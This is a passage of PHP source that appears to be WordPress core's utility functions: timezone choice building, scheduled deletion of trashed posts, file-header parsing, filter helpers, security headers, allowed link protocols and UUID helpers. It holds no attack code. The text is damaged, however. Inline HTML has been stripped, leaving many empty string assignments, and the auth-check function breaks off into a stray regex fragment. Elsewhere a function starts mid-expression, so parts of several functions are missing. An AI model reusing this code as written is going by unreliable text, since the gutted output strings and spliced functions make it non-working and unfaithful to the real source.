enabled. * * This function checks whether the 'blogmeta' database table exists. The result is saved as * a setting for the main network, making it essentially a global setting. Subsequent requests * will refer to this setting instead of running the query. * * @since 5.1.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @return bool True if site meta is supported, false otherwise. */ function is_site_meta_supported() { global $wpdb; if ( ! is_multisite() ) { return false; } $network_id = get_main_network_id(); $supported = get_network_option( $network_id, 'site_meta_supported', false ); if ( false === $supported ) { $supported = $wpdb->get_var( "SHOW TABLES LIKE '{$wpdb->blogmeta}'" ) ? 1 : 0; update_network_option( $network_id, 'site_meta_supported', $supported ); } return (bool) $supported; } /** * gmt_offset modification for smart timezone handling. * * Overrides the gmt_offset option if we have a timezone_string available. * * @since 2.8.0 * * @return float|false Timezone GMT offset, false otherwise. */ function wp_timezone_override_offset() { $timezone_string = get_option( 'timezone_string' ); if ( ! $timezone_string ) { return false; } $timezone_object = timezone_open( $timezone_string ); $datetime_object = date_create(); if ( false === $timezone_object || false === $datetime_object ) { return false; } return round( timezone_offset_get( $timezone_object, $datetime_object ) / HOUR_IN_SECONDS, 2 ); } /** * Sort-helper for timezones. * * @since 2.9.0 * @access private * * @param array $a * @param array $b * @return int */ function _wp_timezone_choice_usort_callback( $a, $b ) { // Don't use translated versions of Etc. if ( 'Etc' === $a['continent'] && 'Etc' === $b['continent'] ) { // Make the order of these more like the old dropdown. if ( 'GMT+' === substr( $a['city'], 0, 4 ) && 'GMT+' === substr( $b['city'], 0, 4 ) ) { return -1 * ( strnatcasecmp( $a['city'], $b['city'] ) ); } if ( 'UTC' === $a['city'] ) { if ( 'GMT+' === substr( $b['city'], 0, 4 ) ) { return 1; } return -1; } if ( 'UTC' === $b['city'] ) { if ( 'GMT+' === substr( $a['city'], 0, 4 ) ) { return -1; } return 1; } return strnatcasecmp( $a['city'], $b['city'] ); } if ( $a['t_continent'] == $b['t_continent'] ) { if ( $a['t_city'] == $b['t_city'] ) { return strnatcasecmp( $a['t_subcity'], $b['t_subcity'] ); } return strnatcasecmp( $a['t_city'], $b['t_city'] ); } else { // Force Etc to the bottom of the list. if ( 'Etc' === $a['continent'] ) { return 1; } if ( 'Etc' === $b['continent'] ) { return -1; } return strnatcasecmp( $a['t_continent'], $b['t_continent'] ); } } /** * Gives a nicely-formatted list of timezone strings. * * @since 2.9.0 * @since 4.7.0 Added the `$locale` parameter. * * @param string $selected_zone Selected timezone. * @param string $locale Optional. Locale to load the timezones in. Default current site locale. * @return string */ function wp_timezone_choice( $selected_zone, $locale = null ) { static $mo_loaded = false, $locale_loaded = null; $continents = array( 'Africa', 'America', 'Antarctica', 'Arctic', 'Asia', 'Atlantic', 'Australia', 'Europe', 'Indian', 'Pacific' ); // Load translations for continents and cities. if ( ! $mo_loaded || $locale !== $locale_loaded ) { $locale_loaded = $locale ? $locale : get_locale(); $mofile = WP_LANG_DIR . '/continents-cities-' . $locale_loaded . '.mo'; unload_textdomain( 'continents-cities' ); load_textdomain( 'continents-cities', $mofile ); $mo_loaded = true; } $zonen = array(); foreach ( timezone_identifiers_list() as $zone ) { $zone = explode( '/', $zone ); if ( ! in_array( $zone[0], $continents, true ) ) { continue; } // This determines what gets set and translated - we don't translate Etc/* strings here, they are done later. $exists = array( 0 => ( isset( $zone[0] ) && $zone[0] ), 1 => ( isset( $zone[1] ) && $zone[1] ), 2 => ( isset( $zone[2] ) && $zone[2] ), ); $exists[3] = ( $exists[0] && 'Etc' !== $zone[0] ); $exists[4] = ( $exists[1] && $exists[3] ); $exists[5] = ( $exists[2] && $exists[3] ); // phpcs:disable WordPress.WP.I18n.LowLevelTranslationFunction,WordPress.WP.I18n.NonSingularStringLiteralText $zonen[] = array( 'continent' => ( $exists[0] ? $zone[0] : '' ), 'city' => ( $exists[1] ? $zone[1] : '' ), 'subcity' => ( $exists[2] ? $zone[2] : '' ), 't_continent' => ( $exists[3] ? translate( str_replace( '_', ' ', $zone[0] ), 'continents-cities' ) : '' ), 't_city' => ( $exists[4] ? translate( str_replace( '_', ' ', $zone[1] ), 'continents-cities' ) : '' ), 't_subcity' => ( $exists[5] ? translate( str_replace( '_', ' ', $zone[2] ), 'continents-cities' ) : '' ), ); // phpcs:enable } usort( $zonen, '_wp_timezone_choice_usort_callback' ); $structure = array(); if ( empty( $selected_zone ) ) { $structure[] = ''; } foreach ( $zonen as $key => $zone ) { // Build value in an array to join later. $value = array( $zone['continent'] ); if ( empty( $zone['city'] ) ) { // It's at the continent level (generally won't happen). $display = $zone['t_continent']; } else { // It's inside a continent group. // Continent optgroup. if ( ! isset( $zonen[ $key - 1 ] ) || $zonen[ $key - 1 ]['continent'] !== $zone['continent'] ) { $label = $zone['t_continent']; $structure[] = ''; } // Add the city to the value. $value[] = $zone['city']; $display = $zone['t_city']; if ( ! empty( $zone['subcity'] ) ) { // Add the subcity to the value. $value[] = $zone['subcity']; $display .= ' - ' . $zone['t_subcity']; } } // Build the value. $value = implode( '/', $value ); $selected = ''; if ( $value === $selected_zone ) { $selected = 'selected="selected" '; } $structure[] = ''; // Close continent optgroup. if ( ! empty( $zone['city'] ) && ( ! isset( $zonen[ $key + 1 ] ) || ( isset( $zonen[ $key + 1 ] ) && $zonen[ $key + 1 ]['continent'] !== $zone['continent'] ) ) ) { $structure[] = ''; } } // Do UTC. $structure[] = ''; $selected = ''; if ( 'UTC' === $selected_zone ) { $selected = 'selected="selected" '; } $structure[] = ''; $structure[] = ''; // Do manual UTC offsets. $structure[] = ''; $offset_range = array( -12, -11.5, -11, -10.5, -10, -9.5, -9, -8.5, -8, -7.5, -7, -6.5, -6, -5.5, -5, -4.5, -4, -3.5, -3, -2.5, -2, -1.5, -1, -0.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 5.75, 6, 6.5, 7, 7.5, 8, 8.5, 8.75, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.75, 13, 13.75, 14, ); foreach ( $offset_range as $offset ) { if ( 0 <= $offset ) { $offset_name = '+' . $offset; } else { $offset_name = (string) $offset; } $offset_value = $offset_name; $offset_name = str_replace( array( '.25', '.5', '.75' ), array( ':15', ':30', ':45' ), $offset_name ); $offset_name = 'UTC' . $offset_name; $offset_value = 'UTC' . $offset_value; $selected = ''; if ( $offset_value === $selected_zone ) { $selected = 'selected="selected" '; } $structure[] = ''; } $structure[] = ''; return implode( "\n", $structure ); } /** * Strip close comment and close php tags from file headers used by WP. * * @since 2.8.0 * @access private * * @see https://core.trac.wordpress.org/ticket/8497 * * @param string $str Header comment to clean up. * @return string */ function _cleanup_header_comment( $str ) { return trim( preg_replace( '/\s*(?:\*\/|\?>).*/', '', $str ) ); } /** * Permanently delete comments or posts of any type that have held a status * of 'trash' for the number of days defined in EMPTY_TRASH_DAYS. * * The default value of `EMPTY_TRASH_DAYS` is 30 (days). * * @since 2.9.0 * * @global wpdb $wpdb WordPress database abstraction object. */ function wp_scheduled_delete() { global $wpdb; $delete_timestamp = time() - ( DAY_IN_SECONDS * EMPTY_TRASH_DAYS ); $posts_to_delete = $wpdb->get_results( $wpdb->prepare( "SELECT post_id FROM $wpdb->postmeta WHERE meta_key = '_wp_trash_meta_time' AND meta_value < %d", $delete_timestamp ), ARRAY_A ); foreach ( (array) $posts_to_delete as $post ) { $post_id = (int) $post['post_id']; if ( ! $post_id ) { continue; } $del_post = get_post( $post_id ); if ( ! $del_post || 'trash' !== $del_post->post_status ) { delete_post_meta( $post_id, '_wp_trash_meta_status' ); delete_post_meta( $post_id, '_wp_trash_meta_time' ); } else { wp_delete_post( $post_id ); } } $comments_to_delete = $wpdb->get_results( $wpdb->prepare( "SELECT comment_id FROM $wpdb->commentmeta WHERE meta_key = '_wp_trash_meta_time' AND meta_value < %d", $delete_timestamp ), ARRAY_A ); foreach ( (array) $comments_to_delete as $comment ) { $comment_id = (int) $comment['comment_id']; if ( ! $comment_id ) { continue; } $del_comment = get_comment( $comment_id ); if ( ! $del_comment || 'trash' !== $del_comment->comment_approved ) { delete_comment_meta( $comment_id, '_wp_trash_meta_time' ); delete_comment_meta( $comment_id, '_wp_trash_meta_status' ); } else { wp_delete_comment( $del_comment ); } } } /** * Retrieve metadata from a file. * * Searches for metadata in the first 8 KB of a file, such as a plugin or theme. * Each piece of metadata must be on its own line. Fields can not span multiple * lines, the value will get cut at the end of the first line. * * If the file data is not within that first 8 KB, then the author should correct * their plugin file and move the data headers to the top. * * @link https://codex.wordpress.org/File_Header * * @since 2.9.0 * * @param string $file Absolute path to the file. * @param array $default_headers List of headers, in the format `array( 'HeaderKey' => 'Header Name' )`. * @param string $context Optional. If specified adds filter hook {@see 'extra_$context_headers'}. * Default empty. * @return string[] Array of file header values keyed by header name. */ function get_file_data( $file, $default_headers, $context = '' ) { // Pull only the first 8 KB of the file in. $file_data = file_get_contents( $file, false, null, 0, 8 * KB_IN_BYTES ); if ( false === $file_data ) { $file_data = ''; } // Make sure we catch CR-only line endings. $file_data = str_replace( "\r", "\n", $file_data ); /** * Filters extra file headers by context. * * The dynamic portion of the hook name, `$context`, refers to * the context where extra headers might be loaded. * * @since 2.9.0 * * @param array $extra_context_headers Empty array by default. */ $extra_headers = $context ? apply_filters( "extra_{$context}_headers", array() ) : array(); if ( $extra_headers ) { $extra_headers = array_combine( $extra_headers, $extra_headers ); // Keys equal values. $all_headers = array_merge( $extra_headers, (array) $default_headers ); } else { $all_headers = $default_headers; } foreach ( $all_headers as $field => $regex ) { if ( preg_match( '/^(?:[ \t]*<\?php)?[ \t\/*#@]*' . preg_quote( $regex, '/' ) . ':(.*)$/mi', $file_data, $match ) && $match[1] ) { $all_headers[ $field ] = _cleanup_header_comment( $match[1] ); } else { $all_headers[ $field ] = ''; } } return $all_headers; } /** * Returns true. * * Useful for returning true to filters easily. * * @since 3.0.0 * * @see __return_false() * * @return true True. */ function __return_true() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore return true; } /** * Returns false. * * Useful for returning false to filters easily. * * @since 3.0.0 * * @see __return_true() * * @return false False. */ function __return_false() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore return false; } /** * Returns 0. * * Useful for returning 0 to filters easily. * * @since 3.0.0 * * @return int 0. */ function __return_zero() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore return 0; } /** * Returns an empty array. * * Useful for returning an empty array to filters easily. * * @since 3.0.0 * * @return array Empty array. */ function __return_empty_array() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore return array(); } /** * Returns null. * * Useful for returning null to filters easily. * * @since 3.4.0 * * @return null Null value. */ function __return_null() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore return null; } /** * Returns an empty string. * * Useful for returning an empty string to filters easily. * * @since 3.7.0 * * @see __return_null() * * @return string Empty string. */ function __return_empty_string() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore return ''; } /** * Send a HTTP header to disable content type sniffing in browsers which support it. * * @since 3.0.0 * * @see https://blogs.msdn.com/ie/archive/2008/07/02/ie8-security-part-v-comprehensive-protection.aspx * @see https://src.chromium.org/viewvc/chrome?view=rev&revision=6985 */ function send_nosniff_header() { header( 'X-Content-Type-Options: nosniff' ); } /** * Return a MySQL expression for selecting the week number based on the start_of_week option. * * @ignore * @since 3.0.0 * * @param string $column Database column. * @return string SQL clause. */ function _wp_mysql_week( $column ) { $start_of_week = (int) get_option( 'start_of_week' ); switch ( $start_of_week ) { case 1: return "WEEK( $column, 1 )"; case 2: case 3: case 4: case 5: case 6: return "WEEK( DATE_SUB( $column, INTERVAL $start_of_week DAY ), 0 )"; case 0: default: return "WEEK( $column, 0 )"; } } /** * Find hierarchy loops using a callback function that maps object IDs to parent IDs. * * @since 3.1.0 * @access private * * @param callable $callback Function that accepts ( ID, $callback_args ) and outputs parent_ID. * @param int $start The ID to start the loop check at. * @param int $start_parent The parent_ID of $start to use instead of calling $callback( $start ). * Use null to always use $callback * @param array $callback_args Optional. Additional arguments to send to $callback. * @return array IDs of all members of loop. */ function wp_find_hierarchy_loop( $callback, $start, $start_parent, $callback_args = array() ) { $override = is_null( $start_parent ) ? array() : array( $start => $start_parent ); $arbitrary_loop_member = wp_find_hierarchy_loop_tortoise_hare( $callback, $start, $override, $callback_args ); if ( ! $arbitrary_loop_member ) { return array(); } return wp_find_hierarchy_loop_tortoise_hare( $callback, $arbitrary_loop_member, $override, $callback_args, true ); } /** * Use the "The Tortoise and the Hare" algorithm to detect loops. * * For every step of the algorithm, the hare takes two steps and the tortoise one. * If the hare ever laps the tortoise, there must be a loop. * * @since 3.1.0 * @access private * * @param callable $callback Function that accepts ( ID, callback_arg, ... ) and outputs parent_ID. * @param int $start The ID to start the loop check at. * @param array $override Optional. An array of ( ID => parent_ID, ... ) to use instead of $callback. * Default empty array. * @param array $callback_args Optional. Additional arguments to send to $callback. Default empty array. * @param bool $_return_loop Optional. Return loop members or just detect presence of loop? Only set * to true if you already know the given $start is part of a loop (otherwise * the returned array might include branches). Default false. * @return mixed Scalar ID of some arbitrary member of the loop, or array of IDs of all members of loop if * $_return_loop */ function wp_find_hierarchy_loop_tortoise_hare( $callback, $start, $override = array(), $callback_args = array(), $_return_loop = false ) { $tortoise = $start; $hare = $start; $evanescent_hare = $start; $return = array(); // Set evanescent_hare to one past hare. // Increment hare two steps. while ( $tortoise && ( $evanescent_hare = isset( $override[ $hare ] ) ? $override[ $hare ] : call_user_func_array( $callback, array_merge( array( $hare ), $callback_args ) ) ) && ( $hare = isset( $override[ $evanescent_hare ] ) ? $override[ $evanescent_hare ] : call_user_func_array( $callback, array_merge( array( $evanescent_hare ), $callback_args ) ) ) ) { if ( $_return_loop ) { $return[ $tortoise ] = true; $return[ $evanescent_hare ] = true; $return[ $hare ] = true; } // Tortoise got lapped - must be a loop. if ( $tortoise == $evanescent_hare || $tortoise == $hare ) { return $_return_loop ? $return : $tortoise; } // Increment tortoise by one step. $tortoise = isset( $override[ $tortoise ] ) ? $override[ $tortoise ] : call_user_func_array( $callback, array_merge( array( $tortoise ), $callback_args ) ); } return false; } /** * Send a HTTP header to limit rendering of pages to same origin iframes. * * @since 3.1.3 * * @see https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options */ function send_frame_options_header() { header( 'X-Frame-Options: SAMEORIGIN' ); } /** * Retrieve a list of protocols to allow in HTML attributes. * * @since 3.3.0 * @since 4.3.0 Added 'webcal' to the protocols array. * @since 4.7.0 Added 'urn' to the protocols array. * @since 5.3.0 Added 'sms' to the protocols array. * @since 5.6.0 Added 'irc6' and 'ircs' to the protocols array. * * @see wp_kses() * @see esc_url() * * @return string[] Array of allowed protocols. Defaults to an array containing 'http', 'https', * 'ftp', 'ftps', 'mailto', 'news', 'irc', 'irc6', 'ircs', 'gopher', 'nntp', 'feed', * 'telnet', 'mms', 'rtsp', 'sms', 'svn', 'tel', 'fax', 'xmpp', 'webcal', and 'urn'. * This covers all common link protocols, except for 'javascript' which should not * be allowed for untrusted users. */ function wp_allowed_protocols() { static $protocols = array(); if ( empty( $protocols ) ) { $protocols = array( 'http', 'https', 'ftp', 'ftps', 'mailto', 'news', 'irc', 'irc6', 'ircs', 'gopher', 'nntp', 'feed', 'telnet', 'mms', 'rtsp', 'sms', 'svn', 'tel', 'fax', 'xmpp', 'webcal', 'urn' ); } if ( ! did_action( 'wp_loaded' ) ) { /** * Filters the list of protocols allowed in HTML attributes. * * @since 3.0.0 * * @param string[] $protocols Array of allowed protocols e.g. 'http', 'ftp', 'tel', and more. */ $protocols = array_unique( (array) apply_filters( 'kses_allowed_protocols', $protocols ) ); } return $protocols; } /** * Returns a comma-separated string or array of functions that have been called to get * to the current point in code. * * @since 3.4.0 * * @see https://core.trac.wordpress.org/ticket/19589 * * @param string $ignore_class Optional. A class to ignore all function calls within - useful * when you want to just give info about the callee. Default null. * @param int $skip_frames Optional. A number of stack frames to skip - useful for unwinding * back to the source of the issue. Default 0. * @param bool $pretty Optional. Whether you want a comma separated string instead of * the raw array returned. Default true. * @return string|array Either a string containing a reversed comma separated trace or an array * of individual calls. */ function wp_debug_backtrace_summary( $ignore_class = null, $skip_frames = 0, $pretty = true ) { static $truncate_paths; $trace = debug_backtrace( false ); $caller = array(); $check_class = ! is_null( $ignore_class ); $skip_frames++; // Skip this function. if ( ! isset( $truncate_paths ) ) { $truncate_paths = array( wp_normalize_path( WP_CONTENT_DIR ), wp_normalize_path( ABSPATH ), ); } foreach ( $trace as $call ) { if ( $skip_frames > 0 ) { $skip_frames--; } elseif ( isset( $call['class'] ) ) { if ( $check_class && $ignore_class == $call['class'] ) { continue; // Filter out calls. } $caller[] = "{$call['class']}{$call['type']}{$call['function']}"; } else { if ( in_array( $call['function'], array( 'do_action', 'apply_filters', 'do_action_ref_array', 'apply_filters_ref_array' ), true ) ) { $caller[] = "{$call['function']}('{$call['args'][0]}')"; } elseif ( in_array( $call['function'], array( 'include', 'include_once', 'require', 'require_once' ), true ) ) { $filename = isset( $call['args'][0] ) ? $call['args'][0] : ''; $caller[] = $call['function'] . "('" . str_replace( $truncate_paths, '', wp_normalize_path( $filename ) ) . "')"; } else { $caller[] = $call['function']; } } } if ( $pretty ) { return implode( ', ', array_reverse( $caller ) ); } else { return $caller; } } /** * Retrieve IDs that are not already present in the cache. * * @since 3.4.0 * @access private * * @param int[] $object_ids Array of IDs. * @param string $cache_key The cache bucket to check against. * @return int[] Array of IDs not present in the cache. */ function _get_non_cached_ids( $object_ids, $cache_key ) { $non_cached_ids = array(); $cache_values = wp_cache_get_multiple( $object_ids, $cache_key ); foreach ( $cache_values as $id => $value ) { if ( ! $value ) { $non_cached_ids[] = (int) $id; } } return $non_cached_ids; } /** * Test if the current device has the capability to upload files. * * @since 3.4.0 * @access private * * @return bool Whether the device is able to upload files. */ function _device_can_upload() { if ( ! wp_is_mobile() ) { return true; } $ua = $_SERVER['HTTP_USER_AGENT']; if ( strpos( $ua, 'iPhone' ) !== false || strpos( $ua, 'iPad' ) !== false || strpos( $ua, 'iPod' ) !== false ) { return preg_match( '#OS ([\d_]+) like Mac OS X#', $ua, $version ) && version_compare( $version[1], '6', '>=' ); } return true; } /** * Test if a given path is a stream URL * * @since 3.5.0 * * @param string $path The resource path or URL. * @return bool True if the path is a stream URL. */ function wp_is_stream( $path ) { $scheme_separator = strpos( $path, '://' ); if ( false === $scheme_separator ) { // $path isn't a stream. return false; } $stream = substr( $path, 0, $scheme_separator ); return in_array( $stream, stream_get_wrappers(), true ); } /** * Test if the supplied date is valid for the Gregorian calendar. * * @since 3.5.0 * * @link https://www.php.net/manual/en/function.checkdate.php * * @param int $month Month number. * @param int $day Day number. * @param int $year Year number. * @param string $source_date The date to filter. * @return bool True if valid date, false if not valid date. */ function wp_checkdate( $month, $day, $year, $source_date ) { /** * Filters whether the given date is valid for the Gregorian calendar. * * @since 3.5.0 * * @param bool $checkdate Whether the given date is valid. * @param string $source_date Date to check. */ return apply_filters( 'wp_checkdate', checkdate( $month, $day, $year ), $source_date ); } /** * Load the auth check for monitoring whether the user is still logged in. * * Can be disabled with remove_action( 'admin_enqueue_scripts', 'wp_auth_check_load' ); * * This is disabled for certain screens where a login screen could cause an * inconvenient interruption. A filter called {@see 'wp_auth_check_load'} can be used * for fine-grained control. * * @since 3.6.0 */ function wp_auth_check_load() { if ( ! is_admin() && ! is_user_logged_in() ) { return; } if ( defined( 'IFRAME_REQUEST' ) ) { return; } $screen = get_current_screen(); $hidden = array( 'update', 'update-network', 'update-core', 'update-core-network', 'upgrade', 'upgrade-network', 'network' ); $show = ! in_array( $screen->id, $hidden, true ); /** * Filters whether to load the authentication check. * * Returning a falsey value from the filter will effectively short-circuit * loading the authentication check. * * @since 3.6.0 * * @param bool $show Whether to load the authentication check. * @param WP_Screen $screen The current screen object. */ if ( apply_filters( 'wp_auth_check_load', $show, $screen ) ) { wp_enqueue_style( 'wp-auth-check' ); wp_enqueue_script( 'wp-auth-check' ); add_action( 'admin_print_footer_scripts', 'wp_auth_check_html', 5 ); add_action( 'wp_print_footer_scripts', 'wp_auth_check_html', 5 ); } } /** * Output the HTML that shows the wp-login dialog when the user is no longer logged in. * * @since 3.6.0 */ function wp_auth_check_html() { $login_url = wp_login_url(); $current_domain = ( is_ssl() ? 'https://' : 'http://' ) . $_SERVER['HTTP_HOST']; $same_domain = ( strpos( $login_url, $current_domain ) === 0 ); /** * Filters whether the authentication check originated at the same domain. * * @since 3.6.0 * * @param bool $same_domain Whether the authentication check originated at the same domain. */ $same_domain = apply_filters( 'wp_auth_check_same_domain', $same_domain ); $wrap_class = $same_domain ? 'hidden' : 'hidden fallback'; ?>
    '1', 'wp_lang' => get_user_locale(), ), $login_url ); ?>

    [\s\S]*<\/%1$s>|\s*\/>)', tag_escape( $tag ) ); } /** * Retrieve a canonical form of the provided charset appropriate for passing to PHP * functions such as htmlspecialchars() and charset HTML attributes. * * @since 3.6.0 * @access private * * @see https://core.trac.wordpress.org/ticket/23688 * * @param string $charset A charset name. * @return string The canonical form of the charset. */ function _canonical_charset( $charset ) { if ( 'utf-8' === strtolower( $charset ) || 'utf8' === strtolower( $charset ) ) { return 'UTF-8'; } if ( 'iso-8859-1' === strtolower( $charset ) || 'iso8859-1' === strtolower( $charset ) ) { return 'ISO-8859-1'; } return $charset; } /** * Set the mbstring internal encoding to a binary safe encoding when func_overload * is enabled. * * When mbstring.func_overload is in use for multi-byte encodings, the results from * strlen() and similar functions respect the utf8 characters, causing binary data * to return incorrect lengths. * * This function overrides the mbstring encoding to a binary-safe encoding, and * resets it to the users expected encoding afterwards through the * `reset_mbstring_encoding` function. * * It is safe to recursively call this function, however each * `mbstring_binary_safe_encoding()` call must be followed up with an equal number * of `reset_mbstring_encoding()` calls. * * @since 3.7.0 * * @see reset_mbstring_encoding() * * @param bool $reset Optional. Whether to reset the encoding back to a previously-set encoding. * Default false. */ function mbstring_binary_safe_encoding( $reset = false ) { static $encodings = array(); static $overloaded = null; if ( is_null( $overloaded ) ) { if ( function_exists( 'mb_internal_encoding' ) && ( (int) ini_get( 'mbstring.func_overload' ) & 2 ) // phpcs:ignore PHPCompatibility.IniDirectives.RemovedIniDirectives.mbstring_func_overloadDeprecated ) { $overloaded = true; } else { $overloaded = false; } } if ( false === $overloaded ) { return; } if ( ! $reset ) { $encoding = mb_internal_encoding(); array_push( $encodings, $encoding ); mb_internal_encoding( 'ISO-8859-1' ); } if ( $reset && $encodings ) { $encoding = array_pop( $encodings ); mb_internal_encoding( $encoding ); } } /** * Reset the mbstring internal encoding to a users previously set encoding. * * @see mbstring_binary_safe_encoding() * * @since 3.7.0 */ function reset_mbstring_encoding() { mbstring_binary_safe_encoding( true ); } /** * Filter/validate a variable as a boolean. * * Alternative to `filter_var( $var, FILTER_VALIDATE_BOOLEAN )`. * * @since 4.0.0 * * @param mixed $var Boolean value to validate. * @return bool Whether the value is validated. */ function wp_validate_boolean( $var ) { if ( is_bool( $var ) ) { return $var; } if ( is_string( $var ) && 'false' === strtolower( $var ) ) { return false; } return (bool) $var; } /** * Delete a file * * @since 4.2.0 * * @param string $file The path to the file to delete. */ function wp_delete_file( $file ) { /** * Filters the path of the file to delete. * * @since 2.1.0 * * @param string $file Path to the file to delete. */ $delete = apply_filters( 'wp_delete_file', $file ); if ( ! empty( $delete ) ) { @unlink( $delete ); } } /** * Deletes a file if its path is within the given directory. * * @since 4.9.7 * * @param string $file Absolute path to the file to delete. * @param string $directory Absolute path to a directory. * @return bool True on success, false on failure. */ function wp_delete_file_from_directory( $file, $directory ) { if ( wp_is_stream( $file ) ) { $real_file = $file; $real_directory = $directory; } else { $real_file = realpath( wp_normalize_path( $file ) ); $real_directory = realpath( wp_normalize_path( $directory ) ); } if ( false !== $real_file ) { $real_file = wp_normalize_path( $real_file ); } if ( false !== $real_directory ) { $real_directory = wp_normalize_path( $real_directory ); } if ( false === $real_file || false === $real_directory || strpos( $real_file, trailingslashit( $real_directory ) ) !== 0 ) { return false; } wp_delete_file( $file ); return true; } /** * Outputs a small JS snippet on preview tabs/windows to remove `window.name` on unload. * * This prevents reusing the same tab for a preview when the user has navigated away. * * @since 4.3.0 * * @global WP_Post $post Global post object. */ function wp_post_preview_js() { global $post; if ( ! is_preview() || empty( $post ) ) { return; } // Has to match the window name used in post_submit_meta_box(). $name = 'wp-preview-' . (int) $post->ID; ?> $wp_max_limit_int && $filtered_limit_int > $current_limit_int ) ) { if ( false !== ini_set( 'memory_limit', $filtered_limit ) ) { return $filtered_limit; } else { return false; } } elseif ( -1 === $wp_max_limit_int || $wp_max_limit_int > $current_limit_int ) { if ( false !== ini_set( 'memory_limit', $wp_max_limit ) ) { return $wp_max_limit; } else { return false; } } return false; } /** * Generate a random UUID (version 4). * * @since 4.7.0 * * @return string UUID. */ function wp_generate_uuid4() { return sprintf( '%04x%04x-%04x-%04x-%04x-%04x%04x%04x', mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff ), mt_rand( 0, 0x0fff ) | 0x4000, mt_rand( 0, 0x3fff ) | 0x8000, mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff ) ); } /** * Validates that a UUID is valid. * * @since 4.9.0 * * @param mixed $uuid UUID to check. * @param int $version Specify which version of UUID to check against. Default is none, * to accept any UUID version. Otherwise, only version allowed is `4`. * @return bool The string is a valid UUID or false on failure. */ function wp_is_uuid( $uuid, $version = null ) { if ( ! is_string( $uuid ) ) { return false; } if ( is_numeric( $version ) ) { if ( 4 !== (int) $version ) { _doing_it_wrong( __FUNCTION__, __( 'Only UUID V4 is supported at this time.' ), '4.9.0' ); return false; } $regex = '/^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/'; } else { $regex = '/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/'; } return (bool) preg_match( $regex, $uuid ); } /** * Gets unique ID. * * This is a PHP implementation of Underscore's uniqueId method. A static variable * contains an integer that is incremented with each call. This number is returned * with the optional prefix. As such the returned value is not universally unique, * but it is unique across the life of the PHP process. * * @since 5.0.3 * * @param string $prefix Prefix for the returned ID. * @return string Unique ID. */ function wp_unique_id( $prefix = '' ) { static $id_counter = 0; return $prefix . (string) ++$id_counter; } /** * Gets last changed date for the specified cache group. * * @since 4.7.0 * * @param string $group Where the cache contents are grouped. * @return string UNIX timestamp with microseconds representing when the group was last changed. */ function wp_cache_get_last_changed( $group ) { $last_changed = wp_cache_get( 'last_changed', $group ); if ( ! $last_changed ) { $last_changed = microtime(); wp_cache_set( 'last_changed', $last_changed, $group ); } return $last_changed; } /** * Send an email to the old site admin email address when the site admin email address changes. * * @since 4.9.0 * * @param string $old_email The old site admin email address. * @param string $new_email The new site admin email address. * @param string $option_name The relevant database option name. */ function wp_site_admin_email_change_notification( $old_email, $new_email, $option_name ) { $send = true; // Don't send the notification to the default 'admin_email' value. if ( 'you@example.com' === $old_email ) { $send = false; } /** * Filters whether to send the site admin email change notification email. * * @since 4.9.0 * * @param bool $send Whether to send the email notification. * @param string $old_email The old site admin email address. * @param string $new_email The new site admin email address. */ $send = apply_filters( 'send_site_admin_email_change_email', $send, $old_email, $new_email ); if ( ! $send ) { return; } /* translators: Do not translate OLD_EMAIL, NEW_EMAIL, SITENAME, SITEURL: those are placeholders. */ $email_change_text = __( 'Hi, This notice confirms that the admin email address was changed on ###SITENAME###. The new admin email address is ###NEW_EMAIL###. This email has been sent to ###OLD_EMAIL### Regards, All at ###SITENAME### ###SITEURL###' ); $email_change_email = array( 'to' => $old_email, /* translators: Site admin email change notification email subject. %s: Site title. */ 'subject' => __( '[%s] Admin Email Changed' ), 'message' => $email_change_text, 'headers' => '', ); // Get site name. $site_name = wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES ); /** * Filters the contents of the email notification sent when the site admin email address is changed. * * @since 4.9.0 * * @param array $email_change_email { * Used to build wp_mail(). * * @type string $to The intended recipient. * @type string $subject The subject of the email. * @type string $message The content of the email. * The following strings have a special meaning and will get replaced dynamically: * - ###OLD_EMAIL### The old site admin email address. * - ###NEW_EMAIL### The new site admin email address. * - ###SITENAME### The name of the site. * - ###SITEURL### The URL to the site. * @type string $headers Headers. * } * @param string $old_email The old site admin email address. * @param string $new_email The new site admin email address. */ $email_change_email = apply_filters( 'site_admin_email_change_email', $email_change_email, $old_email, $new_email ); $email_change_email['message'] = str_replace( '###OLD_EMAIL###', $old_email, $email_change_email['message'] ); $email_change_email['message'] = str_replace( '###NEW_EMAIL###', $new_email, $email_change_email['message'] ); $email_change_email['message'] = str_replace( '###SITENAME###', $site_name, $email_change_email['message'] ); $email_change_email['message'] = str_replace( '###SITEURL###', home_url(), $email_change_email['message'] ); wp_mail( $email_change_email['to'], sprintf( $email_change_email['subject'], $site_name ), $email_change_email['message'], $email_change_email['headers'] ); } /** * Return an anonymized IPv4 or IPv6 address. * * @since 4.9.6 Abstracted from `WP_Community_Events::get_unsafe_client_ip()`. * * @param string $ip_addr The 